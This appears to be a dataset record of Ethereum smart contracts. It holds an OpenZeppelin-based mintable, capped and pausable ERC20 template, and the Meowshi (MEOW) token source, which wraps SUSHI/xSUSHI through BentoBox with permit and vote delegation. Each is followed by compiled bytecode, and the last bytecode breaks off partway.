function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
// File: zeppelin-solidity/contracts/token/CappedToken.sol
/**
* @title Capped token
* @dev Mintable token with a token cap.
*/
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply().add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
// File: zeppelin-solidity/contracts/token/DetailedERC20.sol
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
function DetailedERC20(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
// File: zeppelin-solidity/contracts/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
// File: zeppelin-solidity/contracts/token/ERC20/PausableToken.sol
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// File: contracts/ERC20Template.sol
/**
* Use OpenZeppelin Libraries
* @author developer@fbee.one
*/
contract ERC20Template is DetailedERC20, PausableToken, BurnableToken, CappedToken {
/**
* @dev Set the maximum issuance cap and token details.
*/
function ERC20Template(string _name, string _symbol, uint8 _decimals, uint256 initialSupply, address initHold) public
DetailedERC20(_name, _symbol, _decimals)
CappedToken( initialSupply )
{
mint(initHold, initialSupply);
transferOwnership(initHold);
}
}
|
0x60606040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461012157806306fdde0314610148578063095ea7b3146101d257806318160ddd146101f457806323b872dd14610219578063313ce56714610241578063355274ea1461026a5780633f4ba83a1461027d57806340c10f191461029257806342966c68146102b45780635c975abb146102ca57806366188463146102dd57806370a08231146102ff5780637d64bcb41461031e5780638456cb59146103315780638da5cb5b1461034457806395d89b4114610373578063a9059cbb14610386578063d73dd623146103a8578063dd62ed3e146103ca578063f2fde38b146103ef575b600080fd5b341561012c57600080fd5b61013461040e565b604051901515815260200160405180910390f35b341561015357600080fd5b61015b61041e565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561019757808201518382015260200161017f565b50505050905090810190601f1680156101c45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101dd57600080fd5b610134600160a060020a03600435166024356104bc565b34156101ff57600080fd5b6102076104e7565b60405190815260200160405180910390f35b341561022457600080fd5b610134600160a060020a03600435811690602435166044356104ed565b341561024c57600080fd5b61025461051a565b60405160ff909116815260200160405180910390f35b341561027557600080fd5b610207610523565b341561028857600080fd5b610290610529565b005b341561029d57600080fd5b610134600160a060020a03600435166024356105a8565b34156102bf57600080fd5b61029060043561060d565b34156102d557600080fd5b61013461061a565b34156102e857600080fd5b610134600160a060020a036004351660243561062a565b341561030a57600080fd5b610207600160a060020a036004351661064e565b341561032957600080fd5b610134610669565b341561033c57600080fd5b6102906106f5565b341561034f57600080fd5b610357610779565b604051600160a060020a03909116815260200160405180910390f35b341561037e57600080fd5b61015b610788565b341561039157600080fd5b610134600160a060020a03600435166024356107f3565b34156103b357600080fd5b610134600160a060020a0360043516602435610817565b34156103d557600080fd5b610207600160a060020a036004358116906024351661083b565b34156103fa57600080fd5b610290600160a060020a0360043516610866565b60065460a860020a900460ff1681565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104b45780601f10610489576101008083540402835291602001916104b4565b820191906000526020600020905b81548152906001019060200180831161049757829003601f168201915b505050505081565b60065460009060a060020a900460ff16156104d657600080fd5b6104e08383610901565b9392505050565b60045490565b60065460009060a060020a900460ff161561050757600080fd5b61051284848461096d565b949350505050565b60025460ff1681565b60075481565b60065433600160a060020a0390811691161461054457600080fd5b60065460a060020a900460ff16151561055c57600080fd5b6006805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60065460009033600160a060020a039081169116146105c657600080fd5b60065460a860020a900460ff16156105dd57600080fd5b6007546105f8836105ec6104e7565b9063ffffffff610add16565b111561060357600080fd5b6104e08383610af0565b6106173382610bec565b50565b60065460a060020a900460ff1681565b60065460009060a060020a900460ff161561064457600080fd5b6104e08383610cd7565b600160a060020a031660009081526003602052604090205490565b60065460009033600160a060020a0390811691161461068757600080fd5b60065460a860020a900460ff161561069e57600080fd5b6006805475ff000000000000000000000000000000000000000000191660a860020a1790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b60065433600160a060020a0390811691161461071057600080fd5b60065460a060020a900460ff161561072757600080fd5b6006805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600654600160a060020a031681565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104b45780601f10610489576101008083540402835291602001916104b4565b60065460009060a060020a900460ff161561080d57600080fd5b6104e08383610dd1565b60065460009060a060020a900460ff161561083157600080fd5b6104e08383610eba565b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b60065433600160a060020a0390811691161461088157600080fd5b600160a060020a038116151561089657600080fd5b600654600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03338116600081815260056020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000600160a060020a038316151561098457600080fd5b600160a060020a0384166000908152600360205260409020548211156109a957600080fd5b600160a060020a03808516600090815260056020908152604080832033909416835292905220548211156109dc57600080fd5b600160a060020a038416600090815260036020526040902054610a05908363ffffffff610f5e16565b600160a060020a038086166000908152600360205260408082209390935590851681522054610a3a908363ffffffff610add16565b600160a060020a03808516600090815260036020908152604080832094909455878316825260058152838220339093168252919091522054610a82908363ffffffff610f5e16565b600160a060020a0380861660008181526005602090815260408083203386168452909152908190209390935590851691600080516020610f718339815191529085905190815260200160405180910390a35060019392505050565b81810182811015610aea57fe5b92915050565b60065460009033600160a060020a03908116911614610b0e57600080fd5b60065460a860020a900460ff1615610b2557600080fd5b600454610b38908363ffffffff610add16565b600455600160a060020a038316600090815260036020526040902054610b64908363ffffffff610add16565b600160a060020a0384166000818152600360205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a0383166000600080516020610f718339815191528460405190815260200160405180910390a350600192915050565b600160a060020a038216600090815260036020526040902054811115610c1157600080fd5b600160a060020a038216600090815260036020526040902054610c3a908263ffffffff610f5e16565b600160a060020a038316600090815260036020526040902055600454610c66908263ffffffff610f5e16565b600455600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a26000600160a060020a038316600080516020610f718339815191528360405190815260200160405180910390a35050565b600160a060020a03338116600090815260056020908152604080832093861683529290529081205480831115610d3457600160a060020a033381166000908152600560209081526040808320938816835292905290812055610d6b565b610d44818463ffffffff610f5e16565b600160a060020a033381166000908152600560209081526040808320938916835292905220555b600160a060020a0333811660008181526005602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b6000600160a060020a0383161515610de857600080fd5b600160a060020a033316600090815260036020526040902054821115610e0d57600080fd5b600160a060020a033316600090815260036020526040902054610e36908363ffffffff610f5e16565b600160a060020a033381166000908152600360205260408082209390935590851681522054610e6b908363ffffffff610add16565b600160a060020a038085166000818152600360205260409081902093909355913390911690600080516020610f718339815191529085905190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600560209081526040808320938616835292905290812054610ef2908363ffffffff610add16565b600160a060020a0333811660008181526005602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600082821115610f6a57fe5b509003905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058209e97fc47a41ad4ad3819b2f3ea065513480ce9d20992146148dd7f45691839ed0029
|
{"success": true, "error": null, "results": {}}
| 8,474 |
0x17b46b605b2a82e955c380a7982de938fb745ae7
|
/**
*Submitted for verification at Etherscan.io on 2021-06-07
*/
// SPDX-License-Identifier: UNLICENSED
// @title Meowshi (MEOW) 🐈 🍣 🍱
// @author Gatoshi Nyakamoto
pragma solidity 0.8.4;
/// @notice Interface for depositing into & withdrawing from BentoBox vault.
interface IERC20{} interface IBentoBoxBasic {
function deposit(
IERC20 token_,
address from,
address to,
uint256 amount,
uint256 share
) external payable returns (uint256 amountOut, uint256 shareOut);
function withdraw(
IERC20 token_,
address from,
address to,
uint256 amount,
uint256 share
) external returns (uint256 amountOut, uint256 shareOut);
}
/// @notice Interface for depositing into & withdrawing from SushiBar.
interface ISushiBar {
function balanceOf(address account) external view returns (uint256);
function enter(uint256 amount) external;
function leave(uint256 share) external;
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
/// @notice Meowshi takes SUSHI/xSUSHI to mint governing MEOW tokens that can be burned to claim SUSHI/xSUSHI from BENTO with yields.
// ៱˳_˳៱ ∫
contract Meowshi {
IBentoBoxBasic constant bento = IBentoBoxBasic(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract (multinet)
ISushiBar constant sushiToken = ISushiBar(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract (mainnet)
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI token contract for staking SUSHI (mainnet)
string constant public name = "Meowshi";
string constant public symbol = "MEOW";
uint8 constant public decimals = 18;
uint256 constant multiplier = 100_000; // 1 xSUSHI BENTO share = 100,000 MEOW
uint256 public totalSupply;
/// @notice owner -> spender -> allowance mapping.
mapping(address => mapping(address => uint256)) public allowance;
/// @notice owner -> balance mapping.
mapping(address => uint256) public balanceOf;
/// @notice owner -> nonce mapping used in {permit}.
mapping(address => uint256) public nonces;
/// @notice A record of each account's delegate.
mapping(address => address) public delegates;
/// @notice A record of voting checkpoints for each account, by index.
mapping(address => mapping(uint256 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account.
mapping(address => uint256) public numCheckpoints;
/// @notice The ERC-712 typehash for this contract's domain.
bytes32 constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The ERC-712 typehash for the delegation struct used by the contract.
bytes32 constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice The ERC-712 typehash for the {permit} struct used by the contract.
bytes32 constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/// @notice Events that are emitted when an ERC-20 approval or transfer occurs.
event Approval(address indexed owner, address indexed spender, uint256 amount);
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice An event that's emitted when an account changes its delegate.
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event that's emitted when a delegate account's vote balance changes.
event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
/// @notice A checkpoint for marking number of votes from a given block.
struct Checkpoint {
uint256 fromBlock;
uint256 votes;
}
constructor() {
sushiToken.approve(sushiBar, type(uint256).max); // max {approve} xSUSHI to draw SUSHI from this contract
ISushiBar(sushiBar).approve(address(bento), type(uint256).max); // max {approve} BENTO to draw xSUSHI from this contract
}
/// @notice Enables calling multiple methods in a single call to this contract.
function multicall(bytes[] calldata data) external returns (bytes[] memory results) {
results = new bytes[](data.length);
unchecked {for (uint256 i = 0; i < data.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(data[i]);
if (!success) {
if (result.length < 68) revert();
assembly {result := add(result, 0x04)}
revert(abi.decode(result, (string)));
}
results[i] = result;}}
}
/*************
MEOW FUNCTIONS
*************/
// **** xSUSHI
/// @notice Enter Meowshi. Deposit xSUSHI `amount`. Mint MEOW for `to`.
function meow(address to, uint256 amount) external returns (uint256 shares) {
ISushiBar(sushiBar).transferFrom(msg.sender, address(bento), amount); // forward to BENTO for skim
(, shares) = bento.deposit(IERC20(sushiBar), address(bento), address(this), amount, 0);
meowMint(to, shares * multiplier);
}
/// @notice Leave Meowshi. Burn MEOW `amount`. Claim xSUSHI for `to`.
function unmeow(address to, uint256 amount) external returns (uint256 amountOut) {
meowBurn(amount);
unchecked {(amountOut, ) = bento.withdraw(IERC20(sushiBar), address(this), to, 0, amount / multiplier);}
}
// **** SUSHI
/// @notice Enter Meowshi. Deposit SUSHI `amount`. Mint MEOW for `to`.
function meowSushi(address to, uint256 amount) external returns (uint256 shares) {
sushiToken.transferFrom(msg.sender, address(this), amount);
ISushiBar(sushiBar).enter(amount);
(, shares) = bento.deposit(IERC20(sushiBar), address(this), address(this), balanceOfOptimized(sushiBar), 0);
meowMint(to, shares * multiplier);
}
/// @notice Leave Meowshi. Burn MEOW `amount`. Claim SUSHI for `to`.
function unmeowSushi(address to, uint256 amount) external returns (uint256 amountOut) {
meowBurn(amount);
unchecked {(amountOut, ) = bento.withdraw(IERC20(sushiBar), address(this), address(this), 0, amount / multiplier);}
ISushiBar(sushiBar).leave(amountOut);
sushiToken.transfer(to, balanceOfOptimized(address(sushiToken)));
}
// **** SUPPLY MGMT
/// @notice Internal mint function for *meow*.
function meowMint(address to, uint256 amount) private {
balanceOf[to] += amount;
totalSupply += amount;
_moveDelegates(address(0), delegates[to], amount);
emit Transfer(address(0), to, amount);
}
/// @notice Internal burn function for *unmeow*.
function meowBurn(uint256 amount) private {
balanceOf[msg.sender] -= amount;
unchecked {totalSupply -= amount;}
_moveDelegates(delegates[msg.sender], address(0), amount);
emit Transfer(msg.sender, address(0), amount);
}
/**************
TOKEN FUNCTIONS
**************/
/// @notice Approves `amount` from msg.sender to be spent by `spender`.
/// @param spender Address of the party that can draw tokens from msg.sender's account.
/// @param amount The maximum collective `amount` that `spender` can draw.
/// @return (bool) Returns 'true' if succeeded.
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/// @notice Triggers an approval from owner to spends.
/// @param owner The address to approve from.
/// @param spender The address to be approved.
/// @param amount The number of tokens that are approved (2^256-1 means infinite).
/// @param deadline The time at which to expire the signature.
/// @param v The recovery byte of the signature.
/// @param r Half of the ECDSA signature pair.
/// @param s Half of the ECDSA signature pair.
function permit(address owner, address spender, uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
unchecked {bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), 'Meowshi::permit: invalid signature');
require(signatory == owner, 'Meowshi::permit: unauthorized');}
require(block.timestamp <= deadline, 'Meowshi::permit: signature expired');
allowance[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/// @notice Transfers `amount` tokens from `msg.sender` to `to`.
/// @param to The address to move tokens `to`.
/// @param amount The token `amount` to move.
/// @return (bool) Returns 'true' if succeeded.
function transfer(address to, uint256 amount) external returns (bool) {
balanceOf[msg.sender] -= amount;
unchecked {balanceOf[to] += amount;}
_moveDelegates(delegates[msg.sender], delegates[to], amount);
emit Transfer(msg.sender, to, amount);
return true;
}
/// @notice Transfers `amount` tokens from `from` to `to`. Caller needs approval from `from`.
/// @param from Address to draw tokens `from`.
/// @param to The address to move tokens `to`.
/// @param amount The token `amount` to move.
/// @return (bool) Returns 'true' if succeeded.
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
if (allowance[from][msg.sender] != type(uint256).max) {allowance[from][msg.sender] -= amount;}
balanceOf[from] -= amount;
unchecked {balanceOf[to] += amount;}
_moveDelegates(delegates[from], delegates[to], amount);
emit Transfer(from, to, amount);
return true;
}
/*******************
DELEGATION FUNCTIONS
*******************/
/// @notice Delegate votes from `msg.sender` to `delegatee`.
/// @param delegatee The address to delegate votes to.
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/// @notice Delegates votes from signatory to `delegatee`.
/// @param delegatee The address to delegate votes to.
/// @param nonce The contract state required to match the signature.
/// @param expiry The time at which to expire the signature.
/// @param v The recovery byte of the signature.
/// @param r Half of the ECDSA signature pair.
/// @param s Half of the ECDSA signature pair.
function delegateBySig(address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), 'Meowshi::delegateBySig: invalid signature');
unchecked {require(nonce == nonces[signatory]++, 'Meowshi::delegateBySig: invalid nonce');}
require(block.timestamp <= expiry, 'Meowshi::delegateBySig: signature expired');
return _delegate(signatory, delegatee);
}
function _delegate(address delegator, address delegatee) private {
address currentDelegate = delegates[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, balanceOf[delegator]);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) private {
if (srcRep != dstRep && amount != 0) {
unchecked {if (srcRep != address(0)) {
uint256 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum != 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld - amount;
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint256 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum != 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld + amount;
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}}
}
}
function _writeCheckpoint(address delegatee, uint256 nCheckpoints, uint256 oldVotes, uint256 newVotes) private {
unchecked {if (nCheckpoints != 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == block.number) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(block.number, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;}}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
/***************
GETTER FUNCTIONS
***************/
/// @notice This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize check.
function balanceOfOptimized(address token) private view returns (uint256) {
(bool success, bytes memory data) =
token.staticcall(abi.encodeWithSelector(ISushiBar.balanceOf.selector, address(this)));
require(success && data.length >= 32);
return abi.decode(data, (uint256));
}
/// @notice Get current chain.
function getChainId() private view returns (uint256) {
uint256 chainId;
assembly {chainId := chainid()}
return chainId;
}
/// @notice Gets the current votes balance for `account`.
/// @param account The address to get votes balance.
/// @return The number of current votes for `account`.
function getCurrentVotes(address account) external view returns (uint256) {
unchecked {uint256 nCheckpoints = numCheckpoints[account];
return nCheckpoints != 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;}
}
/// @notice Determine the prior number of votes for an `account` as of a block number.
/// @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
/// @param account The address of the `account` to check.
/// @param blockNumber The block number to get the vote balance at.
/// @return The number of votes the `account` had as of the given block.
function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256) {
require(blockNumber < block.number, 'Meowshi::getPriorVotes: not yet determined');
uint256 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {return 0;}
// @dev First check most recent balance.
unchecked {if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {return checkpoints[account][nCheckpoints - 1].votes;}
// @dev Next check implicit zero balance.
if (checkpoints[account][0].fromBlock > blockNumber) {return 0;}
uint256 lower;
uint256 upper = nCheckpoints - 1;
while (upper != lower) {
uint256 center = upper - (upper - lower) / 2;
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {upper = center - 1;}}
return checkpoints[account][lower].votes;}
}
}
|
0x608060405234801561001057600080fd5b506004361061018d5760003560e01c80636fcfff45116100e3578063ac9650d81161008c578063d505accf11610066578063d505accf14610443578063dd62ed3e14610456578063e6ff41eb1461048157600080fd5b8063ac9650d8146103fd578063b4b5ea571461041d578063c3cda5201461043057600080fd5b80637ecebe00116100bd5780637ecebe001461038e57806395d89b41146103ae578063a9059cbb146103ea57600080fd5b80636fcfff451461033b57806370a082311461035b578063782d6fe11461037b57600080fd5b806323b872dd11610145578063587cde1e1161011f578063587cde1e146102b85780635c19a95c14610313578063642ed5001461032857600080fd5b806323b872dd14610278578063313ce5671461028b5780633c0adb68146102a557600080fd5b80630cdfebfa116101765780630cdfebfa1461020757806318160ddd1461024e5780631b04a34f1461026557600080fd5b806306fdde0314610192578063095ea7b3146101e4575b600080fd5b6101ce6040518060400160405280600781526020017f4d656f777368690000000000000000000000000000000000000000000000000081525081565b6040516101db919061268c565b60405180910390f35b6101f76101f2366004612385565b610494565b60405190151581526020016101db565b610239610215366004612385565b60056020908152600092835260408084209091529082529020805460019091015482565b604080519283526020830191909152016101db565b61025760005481565b6040519081526020016101db565b610257610273366004612385565b61050e565b6101f76102863660046122e1565b610605565b610293601281565b60405160ff90911681526020016101db565b6102576102b3366004612385565b61079f565b6102ee6102c6366004612295565b60046020526000908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101db565b610326610321366004612295565b610a05565b005b610257610336366004612385565b610a12565b610257610349366004612295565b60066020526000908152604090205481565b610257610369366004612295565b60026020526000908152604090205481565b610257610389366004612385565b610c66565b61025761039c366004612295565b60036020526000908152604090205481565b6101ce6040518060400160405280600481526020017f4d454f570000000000000000000000000000000000000000000000000000000081525081565b6101f76103f8366004612385565b610f1e565b61041061040b366004612405565b610fde565b6040516101db919061260d565b61025761042b366004612295565b6111b3565b61032661043e3660046123ae565b611243565b61032661045136600461231c565b611652565b6102576104643660046122af565b600160209081526000928352604080842090915290825290205481565b61025761048f366004612385565b611abe565b33600081815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104fc9086815260200190565b60405180910390a35060015b92915050565b600061051982611bff565b6040517f97da6d30000000000000000000000000000000000000000000000000000000008152738798249c2e607446efb7ad49ec89dd1865ff4272600482015230602482015273ffffffffffffffffffffffffffffffffffffffff8416604482015260006064820152620186a08304608482015273f5bce5077908a1b7370b9ae04adc565ebd643966906397da6d309060a4016040805180830381600087803b1580156105c557600080fd5b505af11580156105d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105fd9190612574565b509392505050565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff146106a25773ffffffffffffffffffffffffffffffffffffffff841660009081526001602090815260408083203384529091528120805484929061069c90849061275e565b90915550505b73ffffffffffffffffffffffffffffffffffffffff8416600090815260026020526040812080548492906106d790849061275e565b909155505073ffffffffffffffffffffffffffffffffffffffff8084166000818152600260209081526040808320805488019055888516835260049091528082205492825290205461072e92918216911684611c97565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161078d91815260200190565b60405180910390a35060019392505050565b6040517f23b872dd00000000000000000000000000000000000000000000000000000000815233600482015230602482015260448101829052600090736b3595068778dd592e39a122f4f5a5cf09c90fe2906323b872dd90606401602060405180830381600087803b15801561081457600080fd5b505af1158015610828573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084c9190612475565b506040517fa59f3e0c00000000000000000000000000000000000000000000000000000000815260048101839052738798249c2e607446efb7ad49ec89dd1865ff42729063a59f3e0c90602401600060405180830381600087803b1580156108b357600080fd5b505af11580156108c7573d6000803e3d6000fd5b5050505073f5bce5077908a1b7370b9ae04adc565ebd64396673ffffffffffffffffffffffffffffffffffffffff166302b9446c738798249c2e607446efb7ad49ec89dd1865ff4272303061092f738798249c2e607446efb7ad49ec89dd1865ff4272611e4e565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e087901b16815273ffffffffffffffffffffffffffffffffffffffff948516600482015292841660248401529216604482015260648101919091526000608482015260a4015b6040805180830381600087803b1580156109b357600080fd5b505af11580156109c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109eb9190612574565b9150610508905083610a00620186a084612721565b611f59565b610a0f338261202f565b50565b6000610a1d82611bff565b6040517f97da6d30000000000000000000000000000000000000000000000000000000008152738798249c2e607446efb7ad49ec89dd1865ff427260048201523060248201819052604482015260006064820152620186a08304608482015273f5bce5077908a1b7370b9ae04adc565ebd643966906397da6d309060a4016040805180830381600087803b158015610ab457600080fd5b505af1158015610ac8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aec9190612574565b506040517f67dfd4c900000000000000000000000000000000000000000000000000000000815260048101829052909150738798249c2e607446efb7ad49ec89dd1865ff4272906367dfd4c990602401600060405180830381600087803b158015610b5657600080fd5b505af1158015610b6a573d6000803e3d6000fd5b50505050736b3595068778dd592e39a122f4f5a5cf09c90fe273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84610bbc736b3595068778dd592e39a122f4f5a5cf09c90fe2611e4e565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b16815273ffffffffffffffffffffffffffffffffffffffff90921660048301526024820152604401602060405180830381600087803b158015610c2757600080fd5b505af1158015610c3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c5f9190612475565b5092915050565b6000438210610cfc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602a60248201527f4d656f777368693a3a6765745072696f72566f7465733a206e6f74207965742060448201527f64657465726d696e65640000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff831660009081526006602052604090205480610d31576000915050610508565b73ffffffffffffffffffffffffffffffffffffffff841660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff850184529091529020548310610de75773ffffffffffffffffffffffffffffffffffffffff841660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff909401835292905220600101549050610508565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600560209081526040808320838052909152902054831015610e29576000915050610508565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82015b818114610ee15773ffffffffffffffffffffffffffffffffffffffff86166000908152600560209081526040808320600286860304850380855290835292819020815180830190925280548083526001909101549282019290925290871415610ec2576020015194506105089350505050565b8051871115610ed357819350610eda565b6001820392505b5050610e4f565b5073ffffffffffffffffffffffffffffffffffffffff85166000908152600560209081526040808320938352929052206001015491505092915050565b33600090815260026020526040812080548391908390610f3f90849061275e565b909155505073ffffffffffffffffffffffffffffffffffffffff8084166000818152600260209081526040808320805488019055338352600490915280822054928252902054610f9492918216911684611c97565b60405182815273ffffffffffffffffffffffffffffffffffffffff84169033907fddf252a